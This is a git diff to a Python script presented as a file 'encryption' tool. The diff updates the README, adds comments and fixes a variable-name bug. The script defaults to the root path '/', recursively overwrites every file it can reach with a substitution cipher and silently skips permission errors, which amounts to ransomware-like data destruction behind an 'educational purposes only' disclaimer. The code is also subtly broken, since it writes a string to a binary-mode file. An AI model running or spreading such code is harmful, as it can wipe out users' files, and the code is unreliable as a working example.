diff --git a/README.md b/README.md
index d903871..edc4a09 100644
--- a/README.md
+++ b/README.md
@@ -1,5 +1,9 @@
 # EncryptingOnPython
 
-Tool on python for encrypting and decrypting files
+A simple Python script that encrypts files.
+The script can encrypt individual files or entire folders and their subfolders.
 
-The script is created for educational purposes only. The author is not responsible for your actions
+NOTE:
+-> The script uses a simple substitution cipher to encrypt the files, which is not secure for sensitive data.
+
+-> The script is created for educational purposes only. The author is not responsible for your actions
diff --git a/encrypt.py b/encrypt.py
index 4f40835..d9f59e0 100644
--- a/encrypt.py
+++ b/encrypt.py
@@ -8,6 +8,7 @@
 
 path = '/'
 
+# Encrypts a file by shuffling the characters in the file
 def encrypt_file(file):
         char = list(" " + string.ascii_letters + string.digits + string.punctuation)
         key = char.copy()
@@ -17,7 +18,7 @@ def encrypt_file(file):
                         data = r_file.read()
                 encrypt_text = ''
                 for letter in data:
-                        index = chars.index(letter)
+                        index = char.index(letter)
                         encrypt_text += key[index]
                 with open(file, 'wb') as w_file:
                         w_file.write(encrypt_text)
@@ -25,6 +26,7 @@ def encrypt_file(file):
         except PermissionError:
                 pass
 
+# Encrypts all files in a folder and its subfolders
 def encrypt_folder(path=path):
         for file in pathlib.Path(path).glob('*'):
                 if os.path.isfile(file):